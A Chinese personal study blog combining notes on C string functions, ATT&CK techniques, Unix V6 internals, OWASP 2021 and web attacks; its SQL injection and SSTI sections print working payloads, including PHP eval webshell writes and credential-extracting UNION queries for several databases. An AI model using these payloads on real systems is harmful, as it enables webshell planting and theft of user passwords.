读取时,scanf()和转换说明%s只允许读取一个单词,gets()可以读取整行输入直到遇到换行符。但是注意到,gets()函数只能接受一个参数,他不能检查还能否装得下输入行也就是说函数只知道数组的开始,不知道数组的长度(有多少个数据)。很容易造成缓冲区溢出
既然gets()有些危险,人们使用fgets()来替代它。下面是fgets()和fputs():
·fgets():有三个参数,第二个参数限制读入字符最大数量,如果该参数为n,那么函数会读入n-1个字符,或者遇到换行符,而与gets()不同,fgets()读到换行符的时候会保存在字符串中
·fgets()的第三个参数,要指明要读入的文件。如果是要从键盘输入,入参就要写:stdin
·一般fgets()与fputs()组合使用,fputs()有两个参数,第二个参数指明要写入的文件,如果在屏幕输出,第二个参数要写:stdout
·fputs()在输出字符串之后不会添加换行符

fgets()存储换行符:
·坏处:你并不想存储这些换行符
·好处:对于存储的字符串而言,检查末尾是否有换行符可以判断是否读取了一整行。

空指针和空字符:
空字符时\0是一个字符,占一个字节
空指针是地址,占4个字节

gets_s():这个函数以前没接触过,书上说该函数只接受标准输入,所以比起fgets()函数不需要第三个参数,但是gets_s会丢弃换行符。

字符串函数:
字符串函数的原型在string.h头文件中,常见有:strlen(),strcat(),strcmp(),strncmp(),strcpy(),strncopy()
而在stdio.h中有sprintf()函数

ATT&CK(六)–典型攻击技术的复现

之前学习了一些攻击组织、病毒的分析检测,也学习了高频攻击技术的分析检测,那么还应该对一些典型的攻击技术进行分析,以总结他们的规律,改进模型。

一、基于本地账户的初始访问

初始访问指的是使用各种登陆载体在网络中获得初始访问立足点的技术,比如攻击漏洞,鱼叉攻击等。能使用有效凭证和外部远程服务,或者更改密码让原本的用户无法登录,能导致持久化。
T1078.003本地账户:
攻击者通过获取利用本地账户凭证,实现访问初始化、持久化、权限提升、防御逃跑。
攻击者会在windows操作系统中创建具有管理员权限的账户,为了隐藏踪迹它们也会使用清楚命令。

二、基于WMI执行攻击技术
执行包括在本地执行以及远程执行。
T1047windows管理规范:
windows管理规范(WMI)是一种windows管理功能,可以为windows系统组件的本地和远程访问提供相同的环境(用于比如说远程办公)
WMI依赖本地和远程访问的WMI服务,以及远端访问的服务器消息块(SMB)远程过程调用服务(RPCS),RPCS通过135端口运作。

攻击者利用WMI与本地和远程系统进行交互,并且将其作执行许多攻击战术的手段,比如搜集信息、横向移动。

三、基于浏览器插件实现持久化

四、基于进程注入实现提权

五、基于Rootkit实现防御绕过

六、基于暴力破解获得凭证访问权限

七、基于操作系统程序发现系统服务

八、基于SMB实现横向移动

九、自动化搜集内网数据

十、通过命令与控制通道传递攻击载荷

十一、成功窃取数据

十二、通过停止服务造成危害

Unix源码分析

霍林老师是我在大学中给我影响也相当大的一位老师。在给我们上数据结构和操作系统的时候,她展现了对于计算机的透彻理解,她的教学目的是让我们把所学知识融会贯通,并且将思想融入到各个领域。霍老师曾用战场比喻计算机技术,战车、兵马、枪炮是数据结构,而高效利用它们取得胜利的则是战术,也就是算法。
在我阅读ATT&CK一书后,昔日恩师所说的话冒上心头,感慨计算机确实是万变不离其宗。在霍老师的汇报上,老师向我们介绍了我国信息安全产品,也给我们灌输了信安的观念,从底层原理展开描述了老师对安全的理解。我思考,不想做脚本小子,要依靠自己的能力构建安全长城,就要真正从底层理清楚框架,从学习操作系统开始。
我选择学习Unix源码,他是众多os的鼻祖,尽管距离它出现已过去几十年,技术也趋于老旧,但是如今的linux、macos等等都是基于unix实现的,因此学习它很有必要。霍老师打趣道,现在给我们上课的内容还是以前她学过的内容,越是底层的东西越难发生大的变化。而且unix源码10000行左右,我有信心读完,这篇文章既是学习笔记也是备忘录,更是自己主动学习的有力证明。

我先做的,是先通读《unix内核源码剖析》

可以查看源码的网站

一、unix v6

unix诞生在1969年,V6在1975年发布

unix v6内核提供的功能:
①管理运行的进程
②内存管理
③文件系统
④文件和周边设备共享I/O
⑤中断
⑥支持终端处理

在学习操作系统的时候,对于进程管理、内存管理、文件系统等就有所学习,不过距离现在时间过得久了,印象不深了,现在就是重学习的时候。

构成unix v6运行环境的硬件:
①PDP-11:这是一个处理装置,书中以PDP-11/40这个16位计算机作为示例。也就是说它以16bit为单位对数据进行处理。处理器处理数据的单位是:字(word),一个字=16bit

PDP-11/40通过unibus进行数据的输入输出,使用内存映射(Memory Mapped I/O)人们可以对操作系统的寄存器进行操作。注意,这些寄存器被映射到内存最高位的8KB空间,内存地址是从上到下看的,最上端是0,最下端是最高位。

②PSW状态字寄存器
PSW有16位。从0到15代表不同的状态

③通用寄存器
有R0到R7一共八个通用寄存器

④MMU内存管理单元
用于地址变换以及访问权限管理

⑤内存
PDP-11/40的内存被称为磁芯内存(Magnetic Core Memory)地址长度18bit,容量为218=256KB

⑥块设备
磁盘或者磁带

⑦行式打印机

⑧终端

二、进程

进程是程序资源分配的最小单位,线程是cpu调用的最小单位。进程由多个线程构成,切换进程开销大,而且资源不共用(可能会死锁),切换线程开销小,因为共用资源。在java中多线程用thread,我曾经写过的。
进程跟线程都可以分为五个状态:创建、阻塞、就绪、执行、终止。

内核先把程序读入内存,然后把这个内存区域分给进程,所以进程拥有独立的虚拟地址空间,可以先使用虚拟内存的地址,再由MMU内存控制单元映射到实际的物理地址上。
回忆进程的组成:PCB进程控制块(包含进程ID)、数据段、正文段。

进程是并行执行的,unix v6允许多名用户同时使用,所以在任意时刻,系统中可能有多个进程。回想学习操作系统和计算机组成与原理的时候,cpu会分时调度的,只需要以人不能感知的速度反复切换进程,就能产生同时操作的效果。分时系统(Time Sharing System,TSS)

用户模式和内核模式
处理器具有两种模式:用户模式、内核模式。处理器通过PSW来进行切换(PSW的13-12表示先前、15-14表示当前,00表示内核模式,11表示用户模式)
虚拟地址在用户模式的时候会映射到用户程序的内存区域;在内核模式会映射到内核程序的区域。内存映射的实现依靠MMU内存管理单元。内核程序在系统启动的时候就已经被读取到内存中
用户程序无法访问加载内核程序的内存空间,要想访问内核功能,必须通过系统调用(system call)提出访问请求(这是强制的)。当内核处理结束又会返回用户模式。
书中提到几个用于用户空间与内核空间之间读写数据的函数:
fubute()、fuibyte()、fuword()、fuiword()、subyte()、suibyte()、suword()、suiword()

交换处理
为了防止进程过多而瘫痪内存,内核会定期休眠,将重要度低的进程从内存转移到交换空间(swap out,换出),或者将交换空间中已经处于执行状态的进程重新恢复到内存(swap in,换入),这个过程称为交换处理,由系统启动时生成的进程执行。在操作系统学习的时候,对内存管理比如动态分区,有:
·首次适应性算法
·循环首次适应算法
·最佳适应算法
·最坏适应算法

proc结构体和user结构体
这俩结构体管理进程的控制信息和状态信息,PROC结构体常驻内存,USER可能会被移至交换空间
PROC结构体
由proc结构体组成的数组proc[],里面每个元素都对应一个进程。这个结构体管理着在 进程状态、执行优先级等与进程相关的信息中需要经常被内核访问的那部分信息
每当进程要切换的时候,内核会首先检查所有进程的状态,所以为了保证效率,proc结构体常驻内存。proc[]的长度决定了在系统中可以同时存在的进程的上限,proc[]的长度由常量NPROC定义。
proc[]中的一些元素,可以与学习操作系统时的知识串在一起,比如P_time是进程在内存或者交换空间存在的时间(秒),对缺页中断的置换算法:最佳置换(opt)、先入先出置换(FIFO)、最近最久未使用置换(last recently used,LRU),进程在内存中获得资源的时间就会被作为依据进行置换算法的判定。对于一些根据优先级判断的算法,proc[]中的P_pri越小优先级越高,用户可以通过修改P_nice的值来自定义优先级,默认为0。

【进程图像】:包含两个部分,一个是常驻内存图像,如PROC[];另一部分是可交换图像(swappable image),如PPDA、数据区域、栈区域等,可以被交换到磁盘上

USER结构体
用来管理进程打开的文件或者目录等信息。不像PROC结构体常驻内存,内核只需要当前正在执行的进程的USER结构体,所以它会跟着进程切换而发生改变,比如被移出内存。
书本给出一些名词:
口口口口 实效用户、实效组、实际用户、实际组
也被称为 有效用户、有效组、真实用户、真实组
我的理解是,当前登录的用户是真实用户,但是它的权限可以发生变化,比如su命令提高权限,它的实效就会变高,但是实际用户没有发生变化。

内核可以根据全局变量”U“来访问 进程的user结构体

进程内存分配
进程的构成除了PCB还有数据段和代码段。数据段和代码段是作为两个连续的物理内存区域被分配给进程,进程通过虚拟地址访问被分配的物理内存区域。
代码段:
代码段是只读的,用来存放程序指令的机器代码。用于复用代码,提高效率。它通过数组text[]进行管理,长度由user.u_tsize表示。
数据段:
存放程序使用的变量等数据,它不能被其他进程共享

数据段

就如上图所表示,数据段的物理地址和长度分别由proc.p_addr和proc.p_size表示。数据段从上到下(地址从低到高)表示成三部分:
①PPDA(per process data area)进程数据区:
·user结构体和内核栈区域构成
·长度为USIZE×64byte=1KB,从用户空间无法访问
·内核栈区域是内核处理时的临时工作区域,每个进程都有供内核模式使用的工作区域
②数据区域:
由存放全局变量或BSS等变量的区域和进程来动态管理内存的堆区域构成。
【bss段】用来存放未初始化的全局变量和静态变量。
如果要扩展堆区域,要使用系统调用完成,从虚拟地址的低位到高位方向进行(从上到下),长度由user.u_dsize表示。
③栈区域:
用来暂时存放函数的参数或者局部数据,长度会自动扩展。栈区域的扩展是从虚拟地址的高位往地位低位方向(从下到上)进行,长度由user.u_ssize表示。

虚拟地址空间
进程拥有64KB的虚拟地址空间,通过长度为16bit的虚拟地址访问物理内存,虚拟地址由MMU内存控制单元转换为长度18bit的物理地址。
也就是说本来虚拟地址为216=64KB,转换为物理地址为218=256KB
代码段位于虚拟地址最低位的地址,往后是数据段,在往后是栈区域,栈区域在虚拟地址空间最高位。
每个进程都有独立的虚拟地址空间,但是也会有共i想的代码段。

使用虚拟地址的好处:

①程序可以使用 以任意地址为起点的内存空间:
不需要考虑该虚拟地址和物理地址的对应关系,MMU内存管理单元会解决这个问题。
②实现对内存访问的管理:
不同于直接操作实际地址可能会误操作,使用虚拟地址如果越权访问会通过MMU触发异常,终止进程处理。
③提高内存使用率:
通过映射有效利用分段的碎片的物理地址。
【但】对于unix v6,代码段和数据段是与物理地址存在对应关系的

变换地址
MMU内存管理单元通过APR(Active Page Register)寄存器将虚拟地址转换成物理地址。
一个APR由一个PAR(page address register)寄存器和一个PDR(page description register)寄存器构成。
用户进程的APR的值保存在USER结构体中,当该进程进入执行态,会将保存在USER结构体中的值设置到用户进程的APR中。
APR从0到7一共有8组,PDP-11/40对于用户模式和内核模式都有对应的APR,通过切换PSW的当前模式(00或者11)切换APR。
psw:一共16位;左边是最高位(15、14),右边是最低位(0)。根据15、14的情况判断模式。
进程的虚拟地址空间是以 segment段或page页来管理的。1组APR对应一页。PAR用来保存与各页物理地址有关的信息,PDR用来保存各页的块(64byte为单位)的数量以及是否允许访问等信息。每一页最多分配128个块(8KB)
虚拟地址最左边的高3bit决定对应的页(APR),PAR(16位)的11-0bit决定了物理地址的基址地址的块地址,加上虚拟地址的12-6bit的物理内存的块地址,再加上虚拟地址的5-0bit作为块内偏移地址,得到最后的物理地址。

说人话就是:
①拿到一个虚拟地址,先看15、14、13bit找到对应的APR[i];
②再根据虚拟地址的12、11、10、9、8、7、6这7位得到APR[i]中的PAR块的编号;
③将该块的11、10、9、8、7、6、5、4、3、2、1、0这12bit作为物理地址的基址地址;
④虚拟地址的5、4、3、2、1、0这6位作为块内偏移量(也就是物理块的块内偏移量);
⑤这样得到17-6的物理地址基址地址+5-0的物理地址块内偏移量,得到一共18bit的物理地址

在之前操作系统的学习中关于分页管理学过的,有一个页表,页表里面是页号和块号的对应方式,一页是1024,如果逻辑地址是1011,页表中页号0对应块号2,那么转换为物理地址的过程为:1011÷1024=0,0对应块号为2,那么物理地址基址为块号×1024即2×1024=2048,偏移量为1011,所以对应的物理地址为2048+1011=3059

【内核之所以可以通过全局变量U(0140000)来访问执行进程的USER结构体,是因为内核对供内核使用的APR做了相对应的设定】内核将内核模式使用的编号为6(也就是APR[6]/PAR[6])的PAR设为被执行进程的数据段的物理地址(proc.p_addr)
这是由于地址0140000(oct八进制)的高位3bit是6(十进制),如下图

140000的进制

[书中统一将内核模式使用的APR成为内核APR,用户模式使用的就是用户APR]

三、进程管理

1.进程的生命周期:
①父进程通过 系统调用 fork 创建子进程(子进程复制了父进程的数据);
②父进程执行 系统调用 wait,开始休眠等待子进程处理结束;
③子进程获得控制权,然后通过 系统调用exec,将程序读取到内存并且执行;
④子进程对应的程序执行完后,会通过 系统调用exit 结束自身运行进入僵尸状态,将控制权归还父进程;
⑤父进程取得子进程的结果,并且清理子进程。

2.进程创建:
①子进程复制父进程的数据
·复制proc[]数组元素,并且子进程的proc.p_ppid指向父进程的proc.p_pid
·复制数据段。包括PPDA(per process data area);子进程的user.u_procp指向proc[]中代表子进程的元素;子进程和父进程共享text[]中的相同元素

②父进程与子进程的联系:
·父进程只能通过遍历所有proc.p_ppid指向父进程的进程才能找到所有它的子进程。
·父进程会回收子进程结束后释放的资源
·子进程继承父进程打开的文件和当前目录等数据
·父进程和子进程共享代码段。但是如果子进程执行其他程序,这种共享关系会解除。
·父子进程互不干扰

【unix v6允许父进程介入子进程处理的跟踪机制,用管道,也就是“|”来实现父子进程通信】
【面试常问进程通信:管道、信号、信号量、共享内存、sokect】

③系统调用 fork
fork是依靠内核进程处理系统调用

——到这里暂时看不懂了,看看汇编—–

SQL注入-mysql、access、postgresql、sqlserver、oracle、MongoDB(未完成)

上一篇关于sql注入的文章已经是21年底的时候发布的了,随着安全意识提高,人们对注入类型的漏洞更加关注,经过不懈努力注入在owasp2021从原来的top1下降到top3。但是,少归少,漏洞还是会存在的,针对不同的数据库,像ACCESS、MYSQL、ORACLE、DB2等根据不同的语言特性会有不同的构造闭合手法,这篇文章先学习ACCESS和MYSQL

漏洞产生特性:可控变量、特定函数

之前的文章学习过,手动注入思路简单地说就是基于字典试错,爆数据库名-爆表名-爆字段名-爆数据,可以根据额ASCII一个个字符跑。

一、ASP+ACCESS-简易注入-字典猜测


根据ACCESS特性,如果猜不对的时候会报错,基于字典去猜表名字段名。

二、ASP+ACCESS-偏移注入-报错显示


偏移注入是解决表名已知,列名未知的问题。

三、MYSQL

MYSQL两种思路:
1.非root的注入攻击:常规的猜解
2.root用户的注入攻击:文件读写操作、跨库查询注入
黑盒中使用user(),白盒看连接用户 //判断身份

那么可以在手工找sql的思路上再改进,那就是先看数据库版本,5.0以上能用information_schema,然后看用户,根据是否是root用户采取不同的措施,然后是看当前的操作系统,因为涉及大小写、文件路径选择等,Linux对大小写敏感,windows不敏感。命令如下:
①version()
②user()
③@@version_complie_os()

下面就是传统爆下去了

本篇文章到这里相当没有营养,日后补充2.28

ACCESS无高权限注入点,只能猜解(暴力破解)

高权限除了能猜解,还能读写。

读写功能的作用是,找到文件路径之后,可以使用注入的payload注入一句话木马连接菜刀。示范(写入):
?id=2 UNION SELECT 1,'<?php eval($_POST[X]);?>’,3,4,5,6,7…into outfile ‘D:/phpstudy/PHPTutorial/WWW/blog/1.php’
上传payload到目标目录后,打开菜刀,密钥为“x”连接。
如何获得该路径呢?
1.网站报错路径显示
2.phpinfo
3.字典 //

然而读写不是一定能成功的,一些经过配置的数据库能限制对于盘符的操作。比如mysql配置文件(php-ini)里面的 secure-file-priv=中把等于号后面设置成C:/(=C:/)可以限制只能对C盘进行读写操作。(mysql5.6默认null)
如何突破?注入中需要支持SQL执行环境,如果没有就要接著phpmyadmin也许能够连上对方数据库进行绕过。
迪总演示了如何使用mysql慢日志来写入一句话木马:在数据库命令行中
1.set global slow_query_log=1;
2.set global show_query_log_file=’shell路径‘; //路径就是要插入shell的目录,比如果网站的根目录,比如说存入xxx.
3.select ‘<?php eval($_GET[a])?>’ or SLEEP(1); //一句话木马就会被写入到2步中文件的中

四、PostgreSQL:

手工注入:注入思路是万变不离其宗的,可以利用mysql注入的思路,只不过对于一些函数、查询语句的使用方法我们要区分不同数据库。

①查一下当前能被解析的select语句有几列,使用 order by * 试出页面出现错误未知,得出能显示的列数
order by *
and 1=2 union select null,null,null,null

②看回显位置。先让数据库报错,然后依次尝试正确输出的位置,通过看网页回显得出哪些列能回显数据
比如 and 1=2 union select null,’null’,null.null //他的第二位能正确回显“null”目的就实现了

③根据回显位,我们开始查询想要得到的信息,比如数据库版本,当前数据库用户等:
and 1=2 union select null,version(),null,null //查看版本,如下图


and 1=2 union select null,current_user,null,null //查看当前登录用户,如下图


and 1=2 union select null,current_database(),null,null //查看当前数据库,如下图

-获取数据库名:
and 1=2 union select null,string_agg(datname,’,’),null,null from pg_database

-获取表名:
1、and 1=2 union select null,string_agg(tablename,’,’),null,null from pg_tables where schemaname=’public’
2、and 1=2 union select null,string_agg(relname,’,’),null,null from pg_stat_user_tables

-获取列名:
and 1=2 union select null,string_agg(column_name,’,’),null,null from information_schema.columns where table_name=’reg_users’

-获取数据:
and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users

-补充-获取dba用户(同样在DBA数据库管理员用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,’,’),null,null FROM pg_user WHERE usesuper IS TRUE

postgereSQL注入跟mysql的区别主要是对于数据据库名查询上

五、sqlserver

sqlserver的最高权限用户为 SA

思路和上面所说大体一致,区别是:
①获取版本:@@version
②获取当前数据库名字:db_name()
③获取当前用户名:user、system_user、current_user、user_name
④获取服务器主机信息:@@SERVERNAME

-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null

union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’ and name not in (‘manage’)),null,null

-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),4) from sysobjects),null,null

-获取数据:
and 1=2 union all select null,username, password ,null from manage

六、oracle

参考:http://参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html

测回显:and 1=2 union select ‘1’,’2′ from dual

爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1) from dual

模糊爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual

爆列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’) from dual

爆其他列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’ and column_name not in (‘USER_NAME’)) from dual

爆数据:and 1=2 union select user_name,user_pwd from “sns_users”

爆其他数据:and 1=2 union select user_name,user_pwd from “sns_users” where USER_NAME<>’hu’ //除了hu以外其他的用户和密码

七、MongoDB

参考

测回显:/new_list.php?id=1′}); return ({title:1,content:’2

爆库: /new_list.php?id=1′}); return ({title:tojson(db),content:’1

爆表: /new_list.php?id=1′}); return ({title:tojson(db.getCollectionNames()),content:’1

爆字段:/new_list.php?id=1′}); return ({title:tojson(db.Authority_confidential.find()[0]),content:’1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

堆叠、带外:
带外:dnslog


OWASP2021

开放式Web应用程序安全项目(OWASP,Open Web Application Security Project),top10 展示了当前对web应用威胁最大应用最广的漏洞,学习目的在于了解当前最新的安全动态、走向,针对其内容更有针对性的学习安全,下图是owasp2021相较于2017的比较图,不难发现新增了三种威胁,而2017的威胁的排名在2021均有变化。

owasp2021 top10 分别是:

1.Broken Access Control 失效的访问控制
2.Cryptographic Failures 加密失败
3.Injection 注入
4.Insecure Design 不安全的设计 //new
5.Security Misconfigration 安全配置错误
6.Vulnerable and Outdated Components 易受攻击和过时的组件
7.Identification and Authentication Failures 认证和授权失败
8.Software and Data Integrity Failures 软件和数据完整性故障 //new
9.Security Logging and Monitoring Failures 安全日志和监控失效
10.Server-Side Request Forgery 服务器请求伪造 //new

总体来看信息安全问题归根到底还是人的问题,比如新上榜的不安全的设计,注入、安全配置错误、易受攻击和过时的组件,都是人为因素占比相当大。体现的是在当前信息化的社会里,很多信息、网络管理员的安全意识淡薄,对于自己配制的信息不熟悉,对其所在的企事业单位的信息系统整体框架不了解,对于当前信息安全发展动向不清楚,对新的安全技术学习不认真。

再仔细看,如果把top10中某些漏洞联系起来看,能发现一个趋势–内网安全问题变得严峻。我得出这个结论最重要的一个论据就是第十位新上榜的SSRF服务端请求伪造,攻击者使用这个技术来实现跨域、横向移动等战术。这说明越来越多的内部网络发现来自内网设备的攻击,这应该引起大家的注意,毕竟当前内网安全的保障仍需完善。

黄保华老师在课上曾不止一次提到,防止安全事故发生要做到两项极重要的事情,一个是访问控制,另一个是安全审计。2021 top10 的首位是失效的访问控制,即攻击者通过绕过等技术,以任意身份访问被限制访问的系统内部资源。显然倘若访问控制失效,攻击者就会如入无人之境。

对于安全审计,我预言不久之后随着防御技术更加成熟,以ATT&CK框架为代表的中级模型被广泛应用后,攻击者可能会采取更意想不到的战术、技术入侵、破坏信息系统。随后攻击者会将把重心集中在破坏审计这个环节。通过破坏审计,让已有框架的搜集功能失效,让上下文信息的联系断开,使得防守方应急速度落后于攻击者的攻击速度、导致防守方无法短时间内制定出方案,无法止损。并且即便处理了漏洞,也无法对事件起因进行分析,无法溯源,对于防御下一次攻击以及更新防御方案,更新防御技术框架十分不利。

基于这个预言,我认为从事安全行业的研究者必须提高警惕,通过改进、巩固,更新已有的安全审计技术和设施,找到更加先进,高效的方法使得攻击者的战术难以实现。我认为,隐写溯源技术,除了在保护版权、保护涉密文件有重大作用外,对于安全审计来说也能发挥其功能。鉴于隐写溯源技术未普及,仅作粗浅判断。目前隐写溯源技术主要还是将数字水印(包含操作人员、设备等秘密信息)利用隐写术嵌入如图像、音频、视频中,后期通过提取识别、验证数字水印实现防伪、溯源的效果。借鉴该思想,对于分析安全事件的核心日志等文件,也可以使用隐写溯源技术分布式的镶嵌在某处或者多处,当攻击者企图篡改日志、破坏日志、混淆数据的时候,我们可以根据水印来检测真伪并且一定程度上进行溯源。隐写溯源技术是具有鲁棒性、脆弱性、不可感知性的,我认为日后它将广泛应用于更行各业之中,本篇文章主要是学习owasp2021同2017的异同分析,对于隐写溯源就不再多描述了。

(ps:照这么发展,以后owasp top 10可能还会出现:失效的隐写溯源,哈哈)

下面我会结合网上优秀文章对新的top10进行讨论。

一、top1

新的top1是失效的访问控制(原top5),取代了注入。调查显示94%受测试的应用程序存在该漏洞。
我认为这很有可能是随着信息化的发展,各行业纷纷转型,而由于技术、资金、安全观念不足,大多企业会使用网上开源的代码,或者雇用经验不足的技术人员,又或者是企业内的技术人员的安全意识不够充分,引起安全问题。
展开来说,编写网站的程序员贪图方便照搬了网上开源的CMS源码,对于一些必须严格执行访问控制的功能点没进行检查。我们知道系统如果没有访问控制,会让非法用户任意跳转页面,或者操作资源。我们应该首先验证身份,再根据授权情况给予放行等操作。一般的验证方式要么写在每个功能页之中,要么就写在一个文件里,通过文件包含去应用所有功能页,我们还会使用cookie或者session、token等技术来快速验证身份。
问题就出在某些功能页没有写上验证代码或者没有引用验证代码,攻击者通过目录扫描技术很快就能找到这些文件,通过工具或者人工检查找到缺少验证的地方,就能直接绕开访问控制,实现跳转。

二、top2

新的top2是加密失败(原top3 敏感数据泄露),网上文章说这是“广泛的症状不是根本原因”,那根本原因是啥啊.……就我所学来看,加密失败与密码学发展有相关性,与当前加密技术、编码技术相关。比方说最普遍的MD5存在哈希碰撞,彩虹表,很多数据库中保存的密码仅简单的加密,很容易被破解为明文,连盐都不加,加密后的md5值放在在线工具一下子就被破解出来了。另一个影响比较大的是保存系统认证的密码、凭证等,如windows的LM Hash和NTLM Hash加密后的内容被破解,让攻击者能实现在内网中提权以及横向移动,危害性很大。
那么需要我们找到更安全的加密技术,比如采取国产加密算法等。同时它上升到top2应该引起人们对密码学关注,根据本人在学校密码学学习,我们用的技术趋于过时,存在极大的被破解风险,就比如随着计算机的算力提高DES都存在被暴力破解。而在未来量子计算技术很有可能打破现有大部分的加密方式。
加密失败举例子说明常见的找到配置文件,根据规则替换掉攻击者想要的密码。

三、top3

新的top3是注入(原top1)学习web安全首先接触的是SQL注入漏洞,xss漏洞(漏洞之王),注入的危害度相比以前有所下降,我想跟如今的安全技术提高有关。从1998年sql注入刚引起瞩目到2017年,这十几二十年的技术发展,频频爆出的注入漏洞一次又一次的提醒开发人员要对传进来的参数进行严格的过滤、控制,我很赞同那个观点–“一切来自用户的输入都是不可信的”。霍林老师在报告中提到,以往很多技术在设计之初是不考虑安全问题的,谁也无法预料未来攻击者会以何种方式找到漏洞并且攻击。比如SQL注入,设计之初没考虑好若有人存心构造payload闭合select语句会产生如此大的危害。
立足当下,我们依然要严格的对传入的参数进行严格的过滤、限制。

四、top4

新的top4是不安全的设计,这是新上榜的威胁,取代了原来的xxe漏洞。它的上榜体现了安全相关从业人员、开发人员正在寻求更多的安全模式,在设计应用或者流程之初就要考虑到安全性。
不安全的设计说白了类似上一点提到的,设计者在关键功能点没有进行细致的安全考虑,出现了验证的漏洞,支付逻辑漏洞,业务逻辑漏洞等安全问题。
比如前后端验证没做好,在某些支付逻辑漏洞中,仅通过修改物品的单价或者数量就能实现对最后价格的修改,0元购不是梦;再比如,任意密码找回,某些验证码的安全机制设计得并不完善,易被绕过;有的验证码不限制次数导致攻击者可以通过爆破求出验证码;还有的验证码允许复用,既先合法进行业务拿到合法的验证码,然后将该验证码用于找回其他任意账户的密码等,这些都是在逻辑上存在的安全问题。

五、top5

新的top5是安全配置错误(原top6),这仍是管理人员疏忽的地方,很多漏洞是基于某些框架、语言的特性利用的,比如php在低版本会存在一些魔术符号,若被错误开启,或者默认开启,攻击者会通过这些错误的安全配置进行攻击。在安全开发我们往往寻求最小特权原则,不必要的功能我们要严格限制,给予用户或者系统实现某种业务最基本的功能权限就足够了,比如一些仅用来留言的功能点,没必要配置其能够解析命令,又比如说宏病毒、eval函数,很多时候我们可以通过禁止宏、禁用eval函数来规避它们被攻击者恶意利用。
再者,我们应该更加注重自身的安全意识培养,对于使用框架或者其他情况,面对大量的可控配置,我们要熟知涉及到安全问题的配置信息,严格的遵守操作手册,对默认配置进行修改,对权限进行合理的增删。

六、top6

新的top6是脆弱的和过时的组件(原top9使用存在已知漏洞的组件)。不难看出这也是人为因素占据大部分责任的威胁。
在web应用、操作系统、数据库管理系统等诸多方面,为了实现不同的需求、便利操作,往往人们选择使用第三方组件、控件,那么这些组件出现安全问题将直接危害到它的载体也就是会危害设备或者系统。在去年年末爆发的log4j2安全漏洞,它是apache推出的日志系统,被广泛使用在apache的产品中,它存在任意代码执行漏洞,使用该组件的所有资产均受到威胁。

七、top7

新的top7是认证和授权失败(原top2)。说明标准化框架发挥了作用。它包括密码、密钥、会话token、用户信息以及与用户身份验证有联系的信息被篡改、伪造、破坏。
比如验证来源时可以通过修改HTTP报文中的数据来伪造来源;很多时候认证和授权为了便利仅进行对某些数据字段的验证,比如状态码,这是十分危险的,因为攻击者可以修改。

八、top8

新的top8是软件和数据完整性被破坏。这是新增的威胁,推测其要实现的战术,有破坏水印对被保护的资产进行恶意泄露;对生产环境的软件进行破坏,导致设备异常如大停电,可能与apt有关。

九、top9

新的top9是安全日志记录和监控失败(原top10)。该问题会严重影响可见性和取证,如我在本篇文章开头处做出的预言那样分析,此类威胁程度会越来愈严重,下次更新它的排名应该会更高。
查阅学习ATT&CK时,我注意到当前的一些高频攻击技术常常伪装自己,比如重命名,这个时候就需要防守方检测表里不一名字的情况,在安全审计的时候提高警惕。

十、top10

新的top10是服务器请求伪造SSRF,是新上榜的安全威胁。了解到它上榜的原因,其中一个是它是安全社区中呼声最高的,同我在文章开头所说的那用,我认为这是内网安全即将迎来下一波风险挑战的信号。

总结:
owasp 仅是一项参考基准,我们可以通过它来大致判断安全的未来走势,也应该通过了解它来加强我们的安全意识。老话重提,上述top10有相当多的威胁是本能避免的,事故就是出于人的疏忽,意识薄弱,或者在一些敏感问题上思想觉悟不够高。是人在贪图方便、利益等。
有时我们不能只掌握技术,还应该要有高度的自觉性,责任心,对社会负责更要对国家负责。

python开发的web的一些安全问题

一、SSTI漏洞

①漏洞成因:
服务端收到用户的恶意输入后,未经过任何处理就将其作为web应用模板里的内容。那么,当模板引擎对该加入了恶意代码的模板进行编译渲染时,就会执行该恶意代码啊文件破坏模板环境,来达到敏感信息泄露、代码执行、Getshell的目的。比如网站更换模板。

②如何判断、检测SSIT漏洞:

模板的解析函数:flask.render_template_string()
一般有模板的应用才会有SSIT漏洞,输入的数据会被浏览器利用当前的脚本语言调用解析执行。
在迪哥的示例中,某开源的CMS中的404错误页里接收某个参数然后输出在404页面,比如“404_url”,当在url中写入“?404_url=1”的时候,404页面就会显示出“1”,同理,如果=号后面跟着类似alert(1)这样的语句,能触发弹窗等。
当发现传入的代码能被python解析,那么传入payload执行命令。模板为了统一更改样式,会在很多地方留下接收参数的点,这些点会从数据库获取数据去更新样式,该漏洞利用这些点来控制变量。

③SSTI在生产环境的什么地方常见:
·存在于模板引用的地方,如404错误页面展示
·存在数据接收引用的地方,如模板解析获取参数

④SSIT漏洞在那些语言有
php、python、js、java等都可能产生

二、PY反编译-PYC编译文件反编译源码
pyc文件是py文件编译后生成的字节码文件,之后会通过python解释器最终生成机器码运行,类似Java的.class文件,当py文件改变后,会重新生成pyc文件。
有在线工具或者GitHub上有工具进行反编译。

三、flask框架中两个函数用于提取信息

url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据

/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__[‘current_app’].config}}

/shrine/{{get_flashed_messages.__globals__}

/shrine/{{get_flashed_messages.__globals__[‘current_app’].config}}

四、maccms(苹果cms)上的SSTI。8.X版本的漏洞

maccms多用于搞sese的。

Forag上的项目学习

江江的爱

江宝推荐我的一个平台,可以在网上学习并且做一些项目,第一个项目是来自SAP(思爱普)的。

一、关于密码策略

